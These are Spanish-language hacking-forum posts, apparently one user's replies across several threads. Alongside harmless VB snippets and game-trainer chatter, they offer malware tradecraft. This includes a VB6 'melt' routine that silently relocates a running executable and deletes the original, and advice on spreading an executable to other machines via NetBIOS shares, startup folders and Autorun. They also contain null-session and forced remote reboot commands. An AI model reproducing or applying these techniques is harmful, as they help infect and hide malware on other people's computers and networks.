Mensajes

Hola, nadie te va a crear nada aca...

Correcto, asi que usa las cosas ya creadas

Código [Seleccionar] Expandir

http://m0001.gamecopyworld.com/games/pc_lotr_battle_for_middle-earth.shtml

Me cuesta creer que hicieras 3 trainers... y menos todavia que no te fueran... si es cierto, simplemente postea tus codes e intentaremos encontrar errores

Saludos

Me acabas de enseñar a utilizar los timer... no sabia como era, ahora lo entiendo todo perfectamente!!

me da verguenza eso...con leer un manual asunto resuelto...

Para eso no postees.

Te crees el mejor de todos o que?? Que pasa tu nunca aprendiste a programar?

todos empezamos por algo

Se empieza leyendo, no preguntado...

Código (vb) [Seleccionar] Expandir

    Dim oHttp       As Object 'New WinHttp.WinHttpRequest
    Dim sData       As String

    'Cargamos el WinHttp
    Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
    With oHttp
        'Establecemos el metodo de conexion y la URL
        .Open "GET", "http://www.google.es/"
        'Enviamos la peticion
        .Send
        'Obtenemos el resultado
        sData = .ResponseText
    End With
    'Descargamos el WinHttp
    Set oHttp = Nothing

Despues ya sigues tu... no?

Buenas, hace tiempo que se me ocurrio este code al ver el api WinExec... pero nunca lo desarrolle... y bueno, me dio hoy por hacerlo...

Simplente es una alternativa a crear un Bat en el disco, lo hace todo 'on the fly'

Código (vb) [Seleccionar] Expandir

Option Explicit
Private Declare Function WinExec Lib "kernel32.dll" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32.dll" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

'---------------------------------------------------------------------------------------
' Procedimiento : AlterMelt
' Autor         : Karcrack
' Fecha         : 27/01/2009
' Parametro(s)  :
' sNewPath [in]       -> La nueva ruta para el fichero al que se le aplicara el Melt
' sPath [in,optional] -> La ruta del fichero al que se le aplicara el Melt.
'                   Si es NULL se aplicara a la aplicacion propia (=
' dMs [in,optional]   -> Es el tiempo en segundos de espera entre la copia
'                    y la eliminacion del fichero. Por defecto 1 seg.
'
' Return        : Devuelve True si la ejecucion del comando ha sido satisfactoria.
'---------------------------------------------------------------------------------------

Public Function AlterMelt(ByVal sNewPath As String, Optional ByVal sPath As String, Optional ByVal dSec As Double = 2) As Boolean
    Dim sCmd    As String

    If (sPath = vbNullString) Then
        If (App.LogMode = 0) Then Exit Function 'No queremos aplicar Melt a nuestro VS xD
        sPath = Space$(260) 'MAX_PATH = 260
        sPath = Left$(sPath, GetModuleFileName(0&, sPath, Len(sPath)))
    End If

    sCmd = "CMD /D /C " & "copy " & Chr$(34) & sPath & Chr$(34) & " " & Chr$(34) & sNewPath & Chr$(34) & " & " & _
            IIf((dSec > 0), "ping 0.0.0.0 -n " & dSec & " & ", vbNullString) & _
            "del /F /Q " & Chr$(34) & sPath & Chr$(34) & " & " & _
            Chr$(34) & sNewPath & Chr$(34) & " & " & _
            "exit"
    AlterMelt = (WinExec(sCmd, 0&) > 31) 'SW_HIDE As Long = 0
End Function

Creo que todo el mundo sabe lo que es el Melt no?

Esta seria la forma de usarlo:

Código (vb) [Seleccionar] Expandir

Call AlterMelt(Environ$("TMP") & App.EXEName & ".exe", vbNullString, 5)
End

Saludos, espero que os sea de utilidad

Te lo curraste bastante... creo que es un poco más fácil.

¿Esa hora es solo de españa o depende de donde entras?

En realidad esta app solo coje la fecha...

Pero bueno, ese periodico (La Raz0n) es un periodico español...

Si quisieras sacar una hora internacional solo es cuestion de navegar un rato

Saludos

....

Código [Seleccionar] Expandir

http://foro.elhacker.net/programacion_vb/macro_en_excel-t238759.0.html

Sigue sin ejecutarse, debe de esperar a que "algo" más lo haga

Si no puedes esperarte siempre puedes reiniciar el PC de forma automatica con :

Código [Seleccionar] Expandir

shutdown -r -t 0 -f -m \\IP
O:

Código [Seleccionar] Expandir

tsshutdn 0 /SERVER:nombreSERVER /REBOOT
Todos ellos con privilegios de Admin

ya intente con el codigo de NEtBios

pero no funciona incluso solo saque lo que hace y lo puse en un BAT y me dice ACCESO DENEGADO:

CONTENIDO DEL BAT:

Código [Seleccionar] Expandir


net use \\192.168.1.82\ipc$ "" /user:""
copy "c:\file.txt" "\\192.168.1.82\c$\rudy.txt"

Al ejecutarlo:

Código [Seleccionar] Expandir

C:\>net use \\192.168.1.82\ipc$ "" /user:""
Se ha completado el comando correctamente.

C:\>copy "c:\file.txt" "\\192.168.1.82\C$\rudy.txt"
Acceso denegado.
        0 archivos copiados.




:S:S:S:S:S

alguna idea ??

Salu2

Simplemente no tienes privilegios, o tiene deshabilitado el NetBios

Saludos

[[Source] NetBios infection Module (ojo que es peligroso!)]

Ejem... claro que puedes...

Si tienes los privilegios suficientes sobre esa RED puedes copiar los ficheros en '\All Users\Menú Inicio\Programas\Inicio' o por cada user... de esta forma el ejecutable se ejecutara en el proximo reinicio...

Aqui tienes un code que hizo Mad:

[Source] NetBios infection Module (ojo que es peligroso!)

Y si no siempre puedes colocar un Autorun en la raiz del sistema, y cuando la abra la unidad con un doble click (si tiene habilitado los AutoRuns) se hara lo que el AutoRun diga

Saludos

porque abstracto hizo tantas trampas con google que le banearon el dominio el-h4cker.net en las búsquedas y tuvo que moverse a el-h4cker.com. Y yo no.

Es sólo un ejemplo de lo que la gente no sabe.

Deberias hacer un libro con lo que la gente no sabe... sabemos tan poco

Es interesante... para mi son completamente distintos... y por supuesto me quedo con elhacker.net !

Saludos

no funciona

Sin comillas

PD:Por si acaso... He visto cosas peores